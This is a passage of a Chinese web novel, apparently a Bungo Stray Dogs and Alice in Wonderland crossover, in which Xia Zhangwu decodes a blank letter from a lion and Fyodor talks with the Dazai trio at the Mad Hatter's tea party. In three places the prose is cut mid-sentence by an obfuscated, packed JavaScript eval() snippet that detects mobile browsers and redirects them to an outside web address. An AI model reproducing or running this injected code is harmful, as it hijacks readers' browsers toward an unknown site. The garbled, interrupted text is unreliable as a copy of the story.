夏章雾的目光突然犀利起来:“作为主角,我觉得这一段的问题很大啊……” “是你自己的思想太没有底线了好吗!” 作者发出愤愤不平的声音:“你能不能把国王和王后之间的关系想象得纯洁一点?” “你要我把国王和王后之间的关系想象得纯洁一点?” 夏教授震惊地、鄙夷地、理直气壮地说:“你还不如让我把你和阴谋之间的关系想象得纯洁一点。” 狮子也插了嘴:“那还不如让我把权力和金钱之间的关系想象得纯洁一点。” “等等,那个确实纯洁不了。” 作者和夏章雾异口同声地说。 狮子晃了晃脑袋,趴在布满灰烬的土地上,它自己也觉得这种事情实在没可能纯洁起来,于是没出声反驳。 “我有点饿了。”它说,看着远处那些还没来得及跑远的人。 “你还没有告诉我传信的内容是什么。”夏章雾提醒道。 “哦对,确实还没有。”狮子说。 它拿出信封。夏章雾接过去,然后发现里面的内容是一张白纸。 两个生物——或许确实能算做生物——就这么安静地面面相觑了一会儿,谁都没有先开口说话,就像是在等待着什么。 “所以他到底想要告诉我什么?” 夏章雾终于等不下去了,他看看周围:“他该不会就是想让你过来破坏公共交通?” 不得不说,这种缺德的事情放在某位俄罗斯侦探身上并没有什么违和感。但夏章雾还是希望他能够带来一点更加有用的消息。 不过话说回来,为什么他不直接通过读者传话,而是要用这种麻烦的方式,委托这里的生物给他传达消息? 夏教授思考了几秒,最后排除了对方实在是闲得没事情干的可能性。只能说其中还有些玄妙的用意,他暂时还没能看出来。 “我怎么知道?” 狮子奇怪地回答:“你看上去真的完全不知道该怎么接收国王的信件。你必须要先收到信,信才会发过来。” 以上的内容听起来像是胡说,但夏章雾感觉自己已经习惯这里奇怪的逻辑了。 “那怎么收到信?”他叹了口气,“它现在就在我手里。” “你必须要说‘我收到了’。” 狮子严肃地说:“面对信却不说话是相当不礼貌的行为。你想想,信会怎么看你!” “没错!” 信纸突然发出微弱的抽泣声:“那么长的时间没有声音,我尴尬得简直想去死!” 夏章雾默默地看着手里的信纸,他觉得这张纸已经快要被打湿了。 “我真的快要绷不住了。” 他对画外音说。 “相信我。”画外音仿佛在憋着笑,“我在写这段时和你的心情差不多。” 不过好在这种方式还算有用。在夏章雾正式地表明自己接收到信件后,信纸上立刻就自动出现了文字。 “所以这一系列比跳大神还要浮夸的仪式有什么意义吗?” 夏章雾郁闷地开始看信,一边看一边对画外音吐槽:“这个地方简直充满了各种各样令人没法忍受的繁文缛节……” “你要相信。”作者说,“作者这样写必定有她的大病。” 信的内容十分简单: 「亲爱的勒托先生: 您应该已经看到我的信使了,不必回信——事实上它无法帮您回信。如果可以,您可以向它询问有关国王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看向天空的方向。 “虽然还不知道什么情况,但既然那家伙都这么说了,那么大家给出的情报已经足够了。接下来就是我的任务啦。” 这位主角先生用相当愉快的语气说:“我也知道你们想这些事情想得头疼——所以逻辑思考的事情就交给我吧。我是不会辜负你们每天辛苦查到的资料的。” “哟,胜券在握了?” 作者笑着问。 “是必须胜券在握,否则大家的心血不都被浪费了吗?”夏章雾耸了耸肩,转而问道,“你知道有关国王的信使的事情吗?比如那个哈塔?” 狮子本来都快要睡着了,听到这话后眼睛很不乐意地睁开了一只,从嘴里发出一阵不满的嘟哝声,尾巴甩了两下。 “一般国王有两个信使。”它慢吞吞地说道,“一个是送信的,一个是收信。” 很好,所以现在费xxx先生也要享受起这个没用的繁琐排场了。夏章雾想。 “黑尔是给白国王收信的,哈塔是给白国王送信的。” 狮子继续说:“如果我没记错,哈塔之前还入过狱——监狱非常可怕,那里只有牡蛎壳可以吃,而当时他还没吃完他的茶点呢。” 夏章雾想象了一下疯帽子被从茶会上抓走的场景。 他想象的画面大概是这样的:一个凶神恶煞的东西走进来,大声地说了句“FBI办案”,于是一群黑衣人一拥而上,把正在吃茶点的疯帽子抓住送到了监狱里。 全场最大的笑点在于茶会里面的国王是个俄罗斯人。 “那他们还有别的名字吗?” 想到这里,夏章雾连忙咳嗽了一声,让自己的笑容别那么明显,“比如说三月兔和疯帽子?哈塔进的是哪个国家的监狱?” “我怎么会知道!” 狮子理所当然地回答道:“我只是这个故事角色中的一员,怎么可能知道这个故事外的答案在哪里?” 45.你说得对,但是 并不属于这个故事…… “你说,这句话到底是什么意思呢?” 送走了狮子的夏章雾坐在河流边,看着手中的笔记本,抬头向作者问道。 他第一反应就是狮子在指自己是《爱丽丝镜中奇遇记》而非《爱丽丝漫游奇境》的角色。所以它并不知晓《漫游奇境》里的疯帽子和三月兔到底代表着什么。 “但为什么它知道这种事情?” 他嘟哝了一句,低头看着评论:“你确定人间失格是唯一知道自己来源的文学负面体?” “就算是我有对你撒谎的理由。它又有什么理由对你撒谎呢?” 懒洋洋的声音从虚无当中传来,画外音似乎也被狮子的气质传染了:“凡事要去想想别的原因,别总是质疑信息源的真假。总是怀疑这个怀疑那个的话,是走不出第一步的。” “用不着说教,我只是在按照惯例排除其他可能性而已。”夏章雾翻过一页,困倦地眯起眼睛,“毕竟这种事情也不是不可以解释。” “说来听听?”作者说。 “你看,读者也是这么想的。”夏章雾微微侧过头,“都没有什么讨论。狮子虽然很像是在进行打破第四面墙的发言,但实际上,他们理解中不同‘故事’很可能就是不同的游戏和时间。” “扑克牌游戏和国际象棋游戏是完全不同的两码事情,所以国际象棋中的狮子完全无法理解扑克牌游戏中发生的事情。” 他说:“但黑尔和哈塔是例外。他们拥有两个名字,同时存在于两个游戏系统,也存在于两个时间线。或许正是因为这个,他们才能担任国王的信使——但如果这么理解,就有一点说不清楚了。” “为什么狮子做不到这一点?” 作者想了一下:“你是想说这个吧。” “嗯。同样作为信使,狮子就没法和他们一样在过去和未来各自拥有自己的身份。” 夏章雾捏了捏下巴:“也许这才是正常的:狮子是黑棋国王的信使。他没必要存在于扑克牌游戏里,因为扑克牌里并没有黑棋国王。那么换而言之……” 他突然沉吟起来,若有所思地看着远方。 永无止息的音乐在重复了一遍又一遍后依旧流淌着,就算是周围的场景发生了各种各样离奇古怪的变化,音乐也没有任何改变。 河流的那一头的森林中正飘来各种各样甜美的糖果气味,大片大片的奶油面包蝶在阳光下翩翩起舞,头顶的方糖几乎都快被烤化了。 “怪不得那家伙会用信使的方式来给我传达信息。” 夏章雾突然说道:“其实那封信件的内容不重要。重要的是有些事情,我只有看到他的信使后才能明白。” “那我希望你是真明白了。” 作者似乎耸了下肩:“别到时候给我们大家都整个烂活就行。” “放心啦。我都说了,我阅读理解的水平从到大都是超棒的。既然我得到了足够的信息,就没有理由推理不出来答案。” 夏章雾很是随意地摆了摆手,继续翻动着笔记本:“否则你以为我长这么大都没被人打死,难道只是因为那群家伙都打不过我吗?” 沉默片刻,虚空中遥遥地飘来了声音: “感觉其中存在有真相的成分,但真相只存在于最后一句话。” 宽容大度的夏教授假装自己没有听到。他只是看着读者们之前提出的五花八门的猜想——有关于太宰治那几个孩子的事情,他在列车里面就已经看过了。 总而言之: 找到了卡罗尔,不错。从卡罗尔那里得到了有关这里的新情报,也不错。从那只黄蜂太宰他们遇到时还是半个人类,也可以看出来他们的时间是在自己的过去,更不错。 “他们接下来应该会和费奥多尔汇合,就没有什么可担心的了。”夏章雾对画外音说,“我觉得我最好还是担心一下我自己。” 「愿我注视深渊: 因为你已经给人起了800个名字了,原因就是你记不住人家名字,人家当然要强调一下自己的全名了,免得哪一天真的被大家忘了他叫什么。」 “算了,我还是计较一下好了。” 夏章雾深吸一口气,咬牙切齿:“你们几个读者!你们调侃我这方面是没有瓶颈的吗!” 「桉莉斯: ……话说账务你认为如果你被同化后会变成什么呢(思考)」 “这个你问作者啊!” 夏章雾没好气地说道:“作者,你快给她解答一下!” “独角兽。”画外音说。它明知地咽下了“脾气非常坏”的修饰语,避免夏章雾又张牙舞爪地和它吵起来。 夏先生对这个回答显然非常满意,他低头继续看读者评论。 「暮川夜: 嗯哼,账务这次有什么问题要问我吗?我可以完美的解答哟!只需要你说一句“求求你了,我亲爱的酵母!”怎么样?我还是很大方的吧?都没有问你要务工费。」 夏章雾回想了一下自己上次问这位评论区的废话压缩包兼执着于要价的情报商酵母的结果。 嗯,真心实意问的话应该能要到答案。毕竟这和爱丽丝一样,也是个傲娇。 “请帮我查一下吧,亲爱的酵母女士,就当验证猜想。” 夏章雾思考片刻,果断地说道:“黑尔和哈塔这两个信使的名字有没有出现在原著《镜中奇遇记》当中?你们那里应该是翻译的作品吧,译名可能不同,找相似的发音就行。” 至于其他的东西,暂时没什么好问的。 主要还是因为太多东西还没浮出水面。 杀死文学负面体的方式和文学负面体本身的象征有着很大的关系。如果人间失格象征对“人类”身份认同的迷惘,杀死它是通过“何者为人”的解答。 那这个文学负面体象征的是什么? 娱乐至死、敌托邦、教条主义、反传统、反童话的说法似乎都可以成立。再加上这里大量的文字游戏、混乱的时间和各种让人摸不着头脑的角色,就更难猜了…… 简直是一座繁复的迷宫。 “但我有一种预感。” 夏章雾很乐观地对笔记本说:“在明白这件事的同时,我就知道到底该怎么杀死它了。” 所以简单来说,他要做的就是从读者大量的评论中寻找出答案,顺便去参加爱丽丝max的宴会——如果能够从对方那里得到一个允诺的话,当然要比没有允诺要好。 他又看了一会儿书评区。 玧末提到要关注爱丽丝的瓦楞纸王冠,先记下来;玧末说八音盒有问题,也先记下来;凤舞九天说爱丽丝在时间中是特殊的——嗯,这一点和他想的有点像;liar说字谜在这个世界就是一种规则,也先记住。 liar还说一千镑已经很多了——就是啊!一千镑真的很多了!那群列车上的乘客简直都是群三观失常的家伙! 夏章雾满意地点点头,然后往下看去,结果就成功地让自己头痛了起来。 「再不吃掉月亮就无敌了: 而国际象棋的话,它的规则被卡罗尔刻意扭曲,暴露理性主义的脆弱性。其中"时间"被拟人化为冷酷的管理者,其"不可逆"法则也许对人类控制欲的嘲讽:试图以理性驯服时间,结果聪明反被聪明误?还有矮胖子的语言悖论……」 这位喜欢自称魔王的读者还有好几个类似的长篇大论的深入分析言论,每一个都让某位夏教授想到了那个自己溜去隔壁院听哲学课的下午。 那个下午他睡得很香。 “这真的是卡罗尔那家伙能写出来的书?” 夏章雾吐槽道:“不知道的还以为这是笛卡尔著作呢……呃,我现在已经有点想吐了,我就不是学哲学的料子。” “救世主最好不要去学哲学。” 作者一本正经地在旁边说:“学多了的人就很难去拯救世界了。孩子,信神学吧!想不通的事情就往我身上推!” “都说了你别天天把自己当上帝然后往自己的脸上面贴金啊!” 「再不吃掉月亮就无敌了: 好诶,比账务快了,巨大进步。全评论区的读者们,联合起来!」 “噗,走吧!” 夏章雾为快活的读者笑了声,伸了个懒腰,把笔记本揣到怀里,用轻松的语气说,然后很是轻松地往前方一跃,跨过了这条并不算多宽的河流。 就和之前一样,风景骤然出现了变化。空气中甜美的糖果气味瞬间变得无比浓郁起来,夏章雾站稳身子,稍微适应了几秒这令人头晕目眩的改变。 四周全是巨大棒棒糖林立的森林。各种看上去就相当甜美的小东西在里面飞来飞去,夏章雾若有所思地看着这些小昆虫。 “我还以为这里面会有大象呢。” 他说:“毕竟这里看上去真的很像是受那些采蜜大象欢迎的样子。” “但是——唉。” 一个沮丧的轻柔震颤在它的耳边响起,它给人的感觉是那么飘忽不定和捉摸不透,简直就像是作者在他的耳边轻声细语:“大象没有办法钻到这些林子里来,唉。它们太大了。而且它们也没有办法跨过河流,唉。” 夏章雾下意识地朝四周看去。 周围什么人都没有,有点像是恐怖片。但他已经下定决心不要在这个世界表现出大惊小怪的样子,于是便似乎很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356168|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡定地询问道:“为什么大象没有办法跨越河流?” “因为虽然‘象’是国际象棋的一份子,但大象并不是国际象棋的一份子呀,唉。” 那个震颤声在他的耳边用非常丧气的口吻说道:“在正在进行的棋局里,只有棋子才是可以在棋盘上面移动的,唉。” 夏章雾沉默了片刻。 他突然间不太想和这些家伙聊文字游戏了,于是深吸一口气,十分认真地开口: “你说得对,但是知名十二世纪古董刘易斯象棋子出土于十九世纪的四月,它们的绝大部分都是用海象牙组成的。所以我觉得国际象棋存在着与大象不可分割的联系,在这个与刘易斯关系紧密相连的地方尤其如此。” 那个声音沉默了一会儿。 “我没太听懂。”它说,“我只知道确实有一只海象,唉。” “太好了。”夏章雾十分真诚地说,“这就是我听你们的鬼话时内心的感受。” 那个声音再次沉默了一会儿,最后幽幽地吐出了一口长长的气。夏章雾留神地分辨了一下气流的方向,猛地转过头去。 然后他看到了一只正飞在空中的苍蝇。 人类的视线和昆虫的复眼对上。 “你先离我远点。”夏教授说后退一步,“我害怕控制不住自己的条件反射。” “很抱歉,唉。”苍蝇也飞得更高了,“我知道有很多人都对苍蝇抱有偏见。但这也不是我想要的,唉。” 但就算如此,它也没有离开的意思,而是一直跟着夏章雾。而夏章雾很快就明白了这只苍蝇之所以是苍蝇的原因(这句话很拗口,但放在这个世界很合适)。 ——因为它太吵了。 “你已经和我说整整一小时了。” 终于,夏章雾忍无可忍地开口:“这还算能接受的,但你能不能说点有用的内容,比如说这个森林怎么走出去?闻得太久了,这里的糖浆味都有点让人想吐。” 事实证明,在蛋糕店里面待上一定的时间会让你有吃甜点的胃口,但太久的时间有极大的可能会导致厌食。 “出口其实就在前面,唉。”苍蝇嗡嗡地、摇摇晃晃地、自言自语地朝前面飞去,“那里有一个标志性的地标,唉。那里本来是一个人。” 被它称作“本来是一个人”的东西现在看上去更像是一口井——这是从用途角度来说的,从生物学的角度很难辨别它的身份。 因为无数的蚊子和蝴蝶正在围绕着它们成小群的飞行,用长长的细管去吮吸它身上溢出的汁液。黄油面包蝶舒服地蹭蹭自己的爪子,然后被这个生物直接一把抓住,塞到了嘴里。 嘎吱嘎吱的声音,像在吃甜点。 不对,黄油方糖和面包本来就是甜点。 夏章雾看着这一幕。 他问:“所以这个是什么?” “这是慕斯蚊(moussqite)。” 苍蝇嗡嗡地说,但介绍的却是和黄油面包蝶一起的蚊子:“它们的身体是鲜奶慕斯,翅膀是薄脆糖浆,唉。它们最喜欢的其实是树莓汁,其余的树莓饮料也可以,它们在饱餐一顿后总是会变成红白相间的颜色,唉。” “如果没有树莓汁或者树莓饮料呢?” 夏章雾说:“在这里应该不会饿死吧?” “它们只会饿到没有办法飞。它们也没有办法说任何话,直到身躯在泥土里腐烂,唉。谁都不知道它们在想什么。”苍蝇说。 夏章雾想了想这种生物恰好生活在有树莓汁和树莓饮料地方的概率。 “我猜这种事发生的概率不小。”他说。 “总是在发生,唉。但在这里从来都没有发生过。”苍蝇说,“它把这里的生物喂得很饱,这里的生物也喂得他很饱。但那是未来到来之前的事情了。” “未来到来之前?” “它总会有一天厌倦这种甜味,去寻找更甜更美味的食物。唉,那时候黄油面包蝶与慕斯蚊会和它一起迁徙走。不过它们都不是棋子,所以它们永远无法迁徙走。” 苍蝇前言不搭后语地叹着气:“唉,你是知道的,这里从来不会有死亡。” 夏章雾没有再说话。 他走过这场甜美的宴席,然后在昆虫的嗡鸣声中停在河流前,这才突然开口: “在这种没有死亡的世界,能让你们追求自己想要之事的世界中,你们真的感觉到了所谓的幸福吗?” “我不知道他们是怎么想的。但是幸福里面没有我,也没有后续,唉。” 苍蝇轻轻地说:“只有为什么。” 夏章雾往前一步,跨过河流。 ——苍蝇的声音彻底不见了。 46.牢大你又进大牢了啦 “所以,这就是你们找到这里的原因。” 费奥多尔把笔记本电脑合拢,这么说。 在这条长得有点吓人的茶会桌上,三个未成年人和一只渡渡鸟正坐在他的对面。 疯帽子和三月兔则分别坐在他的左右,大惊小怪地隔空嘟哝着什么谁也听不懂的话,看上去完全就沉浸在自己的想象当中。 而在这三个未成年人和灭绝鸟类里,坂口安吾见到费奥多尔总是有点紧张,织田作之助奇特的思路让他完全就不适合转述。 而渡渡鸟呢……它说话了也没用,因为费奥多尔根本没有用过巴别鱼,也没有任何往自己耳朵里塞鱼的意愿,根本不知道它在“渡渡”什么。 所以在场使劲儿朝费奥多尔·陀思妥耶夫斯基先生叽叽喳喳的只有太宰治。 “嗯嗯!”太宰治用很是愉快的口气说,不知道的人估计会以为他是在和大人商量这次的春游活动,“因为现在时间非常紧急,不知道什么时候这里就会和现实彻底接洽。” 费奥多尔微微抬头。 “大概还有十几个小时吧。” 他说:“放心,至少我们不用担心。” ——不不不,就算是费奥多尔先生,说出前面那句话也是根本就不想让人安心的吧!而且这个时间到底是怎么推断出来的! 坂口安吾欲言又止。 或许是因为他脸上的表情太过明显了,所以费奥多尔想了想,友善地额外解释了一句: “没关系的,等你们也见过几十个这种大型OOL事件后,应该也能判断出来它们的发展时间。按照现在这个两个月遇到一次的频率,只要再过个六七年就行。” 更加没有办法得到安慰了啊! 坂口安吾很是勉强地拽了拽嘴角:他现在感觉人类社会简直是无时无刻都笼罩在随时都可能被OOL毁灭的情况下。 还是那句话:此前的人类能够平安地活到二十一世纪真是太了不起了。 “所以在十几个小时内解决这次事件真的有可能吗?”太宰治把下巴靠在茶会的桌子上,歪着脑袋好奇地问,“该不会最后还是要靠没用的大叔去干活吧。” 他倒也没有太过担忧。 或者说,出于对大人能力的信任(尤其是在某位俄罗斯人身边还有对比项的情况下),大家虽然都有点惊讶于只剩下了这么点时间,但都没有对此表示什么反驳。 就连刘易斯·卡罗尔都没有。不过从某种意义上来说,作为钟塔侍从成员的他才是最了解这家伙能力的。 “嗯。十几个小时的时间也是给他的。” 费奥多尔的语气非常平淡,他端起咖啡杯,下意识地想要喝一口,但看看里面的无物,还是又默默地放了回去。 “你知道吗?”他突然对正在假装没事地梳理自己羽毛的渡渡鸟说,“你们刚好来晚了,不久前爱丽丝才离开茶会。” 渡渡鸟的脑袋猛地从羽毛中抬起来,那张滑稽可笑的大喙张开着,呈现出十足具有漫画效果的呆滞色彩。 “什什什什么?爱丽丝刚刚就在这这这里?” 他差点跳到茶会桌子上:“她之前往往往哪里走了?她她她怎么会成为女皇?” 就算是听不懂渡渡鸟语的人大概也能猜出来他在说什么。太宰治“哇哦”了一声,低声地对织田作之助吐槽道:“我就知道会有这个反应。” “现在吗?她还没有成为女皇。” 费奥多尔抬起头看向不远处,这样回答。 刘易斯·卡罗尔愣了一下。此刻他倒是真的有点像是一只呆头呆脑的渡渡鸟了,一对茫然的眼睛就这么瞅着费奥多尔。 “发发发生了什么?” 他说:“我我们来到的是这里的过去?” “稍安勿躁。” 费奥多尔心平气和地说,然后突然转头看向了在旁边的疯帽子与三月兔。他们两个此时还沉浸在在太宰治讲的“有关时间”的话题当中,正在没完没了地聊天。 “都怪你在红心王后宴会上唱的那首歌。” 三月兔抱怨道:“现在我们这里的时间全都停在下午四点了!” “我还记得我唱的那首歌。” 疯帽子愁眉苦脸地说。 然后他嘟哝了一声,然后唱了起来: “叽叽喳喳小喜鹊, 你是多么美丽呀。 天上飞得多开心, 在盘子里也很妙。 叽叽喳喳……” “我记得你之前和爱丽丝说的版本还是一闪一闪小蝙蝠。”费奥多尔说。 “其实事情都是一个性质,陛下。”疯帽子内疚地说,“区别在于我现在想不起来一闪一闪小蝙蝠到底该怎么唱了。” 费奥多尔看上去一脸的不置可否,他转移了话题。 “你们当中应该有一位国王的信使吧?” 他说:“我这里有一封信要交给别人。” 疯帽子和三月兔伸长脖子,看了彼此一眼。 “话是这么说啦……”三月兔支支吾吾,“不过哈塔才是负责给国王送信的那一个。” 哈塔自然就是疯帽子。他立刻站了起来,然后看了看手表,又坐下去。 “可是现在还是茶会时间。”他沮丧地嘟哝。 他们两个的推诿在场所有的人都能看出来。太宰治从织田作之助背后探出脑袋,若有所思地戳了戳对方。 “织田作。”他小声说,“剪一块心形的布。” 织田作之助有些疑惑地低头看了看桌布,用身上的小刀切下一块,递给太宰治,然后看到他拿起一块红色的树莓慕斯,把里面的树莓果酱全部都抹在了这块心形的桌布上。 “当当当当,一号作品。” 太宰治拿起来,往织田作之助面前得意晃了两圈:“我要把它命名为良心!” 织田作之助看着这份新鲜出炉的“良心”,想了好一会儿才憋出一个评价。 “看起来好甜。”他说。 坂口安吾忍不住跟着看了过去。 “虽然是布做的。”坂口安吾情不自禁地说,“但总感觉其中的良心含量已经超越这里的绝大多数人了。” “好犀利的吐槽啊,安吾。” 太宰治一脸震惊,然后钦佩地拍了拍对方的肩膀:“你以后一定会成为吐槽大师的!” 坂口安吾:“……” “喂喂,总感觉这种职业还不如社畜呢……” 他抱怨道。 但太宰治也没有听他回答的意思,举着自己制造出来的“良心”就一溜烟地跑到了正在鼓鼓囊囊地吃蛋糕的疯帽子边上,然后趁其不备,一把就把这个工艺品粘在了对方的帽子上。 “疯帽子先生。” 他用格外严肃的语气说:“想一想你新鲜出炉的良心,你要是不答应我们费……咳,陛下的送信要求,良心真的不会痛吗?” “哎呦!” 疯帽子摸了摸自己帽子上新的装饰物,表现得就像是被什么烫到了。他连忙跳了起来,发出夸张的叫声:“我的良心好痛!” 他在茶会桌子边痛得又蹦又跳,看上去比三月兔还像一只兔子,让人怀疑这里的地板是不是偷偷变成了岩浆。 等到他放下手时,结果又被手上粘到的红红的树莓汁吓了一跳。 “天啊。”太宰治很是一本正经地开口,“根据我的研究,这是你良心流出来的血。你的良心在滴血,疯帽子先生!” “天啊,疯帽子!” 三月兔也大惊小怪地喊起来:“你良心流出的血把你的帽子都染红了。” 疯帽子在原地尖叫一声,然后“咯嘣”一下就昏了过去。 其余的人都默默地看着这一幕:“……” “嗯,呃。好吧。” 渡渡鸟默默地把脑袋埋到了翅膀里——这个动作大概类似于人类以手扶额:“这孩子真的很擅长这里的游戏。” “准确地说,他天生很擅长利用规则。” 费奥多尔从桌子上找到了些红茶,于是往杯子里倒了些:“游戏只是人造的规则之一。” 游戏规则的有趣之处在于,它并不像法律那样依靠暴力确立自己的权威。它的运转依靠玩家的认可,它的权威依靠于这套规则给玩家带来的乐趣。 如果不想被游戏王国拒之门外,那么玩家就必须遵守游戏看似不合理的规则:比如国际象棋里“王”被吃掉就必须宣告结束;比如扑克牌里的弄臣居于国王和王后之上…… 比如当一个布片制作的“良心”被安置在你的身上时,你就必须要承受良心的重担。 “疯帽子先生!疯帽子先生!” 太宰治津津有味地担任着医生的角色,他晃了晃疯帽子的肩膀,用相当快活的语气——他已经憋不住自己声音里的幸灾乐祸了——说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361293|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“快醒醒啊!想想你的良心!” “哎呦,我的良心!” 疯帽子悠悠醒转,大喊一声。随后他连忙跳起来,毕恭毕敬地行礼:“陛下!把您的信交给我吧!我一定会把这封信转交给您的信使的!我再也受不了良心的折磨啦!” 三月兔可怜地“哦不”了一声。但他看到太宰治,于是立刻缩了缩自己的脖子,像是生怕自己被注意到,然后也按上一个良心似的。 “祝您成功。” 费奥多尔礼貌地说。他从一个茶杯碟下面抽出张纸,在上面写了几句话就交给了疯帽子。而疯帽子先生连忙把它揣到怀里,看都没看就赶紧跑走了。 太宰治满意地看着自己的最终成果,然后跃跃欲试地望向了正缩头缩脑的三月兔——现在这块桌子布的大小还可以再制作很多个“良心”呢。 三月兔怪叫起来。它想要跑掉,但渡渡鸟眼疾翅膀快地先咕噜咕噜地滚了过去,跳起来用喙狠狠地咬住了对方的耳朵,又把它撞翻了。 “是你提提提到了爱丽丝女皇!” 他气势汹汹地说:“那天我追追追追着的兔子就是你!你是怎么知道未未来的事情的!她变成女皇是不是与你有有关系!” 刘易斯·卡罗尔并不是笨蛋。 就在费奥多尔说出“现在她还没有成为女皇”的时候,他就意识到了兔子洞通向的是爱丽丝还没有成为女皇的过去。 那么问题来了—— 如果兔子洞通往过去,那么为什么跳进兔子洞的那只兔子会知道“未来”? “哎呀,好痛好痛!” 三月兔疼得在地上打滚,眼泪汪汪:“我听不懂你说的话!” “他的意思是,你为什么会知道未来爱丽丝会变成女皇的事情。”织田作之助友善地帮忙翻译道。 三月兔“哎呀”了一声。 “因为……呃,因为。”它的眼睛神经质地轱辘轱辘地转来转去,“我同时属于两个故事?” 它突然有了点底气,大声说道:“因为我在两个故事里都有需要扮演的角色!是的,所以我需要在两个故事里面跳来跳去。就像……嗯,就像现在这样!” 它猛地一跳,挣脱了渡渡鸟,跌跌撞撞地扎进树林里去了。卡罗尔气急败坏地追过去,觉得自己放跑了有关于爱丽丝的线索。 费奥多尔心平气和地打开电脑继续写代码,等到卡罗尔的动静都消失不见了才开口。 “现在我的猜想已经足够验证了。” 他说:“它在这里的角色身份是三月兔,在未来故事里担任的角色是黑尔。所以它才可以通过往返于这两个分别位于过去和未来的故事,更改自己所处的时间。” “哇呜。听上去就像是游戏机里同时有游戏的第一部和第二部的玩家耶。” 太宰治托着脸颊,想了想:“疯帽子先生应该也一样喽?他在另一个故事里的名字叫做哈塔?费奥多尔先生是想要通过这种方式给大叔传消息?唔,大叔现在应该就是在那个爱丽丝作为女皇的未来……” 这些推理起来并不算困难。坂口安吾关注的点则是在另一件事上面。 “等等,如果我们通过兔子洞来到的是爱丽丝还没成为女皇的过去。而镜子让勒托先生来到的是已经成为女皇的未来。” 坂口安吾皱了下眉,努力尝试着从这个古怪地方的逻辑出发思考问题:“可为什么费奥多尔先生现在能和我们见面?” 他们明明应该属于不同的时间,不是吗? 织田作之助想了想。 “因为这里既属于过去也属于未来?” 他说:“也有可能是既不属于过去也不属于未来。之前三月兔好像说过,这里的时间永远停留在了下午茶的时间。” 从这个角度来说,永远凝固的时间是既无法抵达未来,也无法返回过去的存在。 “那这种地方也太奇怪了吧?费奥多尔先生你真的是一来到这里就到这个地方了吗?” 太宰治整个人的上半身都趴在了桌子上,他叹了口气,大声说道:“简直就像是……” “监狱,对吗?” 费奥多尔伸手拿走了桌子上的茶壶,打开壶盖倒了倒,发现没有水,于是打开壶盖,从里面拿出一只正在愉快地打着鼾的睡鼠。 他盯着那只睡鼠,沉默了片刻,这才开口: “你没猜错,这里就是我的牢房。” 47.相信后人的智慧! 睡鼠还在睡觉。 它睡得很香,完全不知道自己“睡鼠”的身份临时被费奥多尔顶替了。于是它又被丢进了茶壶里,重新被塞上了盖子。 “那他们两个就相当于看守了?” 太宰治看了看疯帽子和三月兔本来应该在的位置,突然说道:“不过费奥多尔先生扮演的角色有什么特殊的地方需要被监禁起来?该不会因为是国王吧?” 不得不说,费奥多尔身上属于国王的华丽天鹅绒披风和头顶金光闪闪的王冠都相当显眼,就算是想注意不到都很困难。 俄罗斯人用手指轻轻碰了一下头顶的冠冕,稍微思考了几秒,最后决定把自己的思路从头将起,免得这些孩子听不懂。 “在来到这里之前,勒托先生和我说过,这次的事情有可能会涉及到国际象棋和扑克牌。所以我来到这里后,很快就确定了自己的身份或许就和国际象棋里的国王有关。” 他说:“因为扑克牌上的国王有着属于自己的竖琴、宝剑、竖棒和衣服上的十字作为区分的标志。但我的身上唯一独特的特征只有王冠上的十字架,这一点与国际象棋上的棋子相同。” 在场的未成年人没有一个玩过国际象棋,顶多只是听说过——甚至有人听都没听说过——所以闻言只是抬头看了看费奥多尔的王冠,眨巴眨巴眼睛。 “如果我没有记错,国际象棋的规则应该是黑棋与白棋在棋盘上面厮杀,最后有一方获得最终胜利……” 坂口安吾作为对国际象棋这玩意了解最多的未成年,皱着眉说道:“具体的规则我不清楚,但能囚禁一个国王的应该就是另一个国王吧?” “如果都能囚禁起来的话,那为什么不直接杀掉……哦,差点都忘记了。这里没有死亡。” 太宰治托着脸颊,重重地叹了口气,表情没精打采的:“哦呀呀,真是好无聊的游戏。本来听厮杀还以为会有意思一点的。哎呦!” 他捂住自己被坂口安吾敲的脑袋,假装出泪汪汪的样子,直接钻到了织田作之助身后:“好痛好痛!织田作,安吾太过分了!” 织田作之助歪了下头。 “有吗?”他很是严肃地回忆了一下,“从人体结构上来讲,刚刚安吾的力度好像甚至没法让人得轻微脑震荡……” “不是这个事情,是很痛!很痛啦!” 太宰治气鼓鼓地以河豚的样子张牙舞爪了一番,结果没有威胁到任何人,最后干脆趴在桌子上自己泄了气:“不过费奥多尔先生应该是已经知道另一个国王到底是谁了吧?” “有猜想。” 费奥多尔简洁地回答道。 太宰治眨巴着眼睛等待着下文,过了几秒,他才意识到这句话好像没有下文。 “所以猜想是什么?”坂口安吾也对这件事有些在意和好奇,“那个国王总不可能会是勒托先生吧?” “当然不会是他。” 俄罗斯人大概是想象了一下夏某人当国王的场景,轻轻地笑了声,也许是没法想象出连一千镑都没有的国王到底是什么样子。 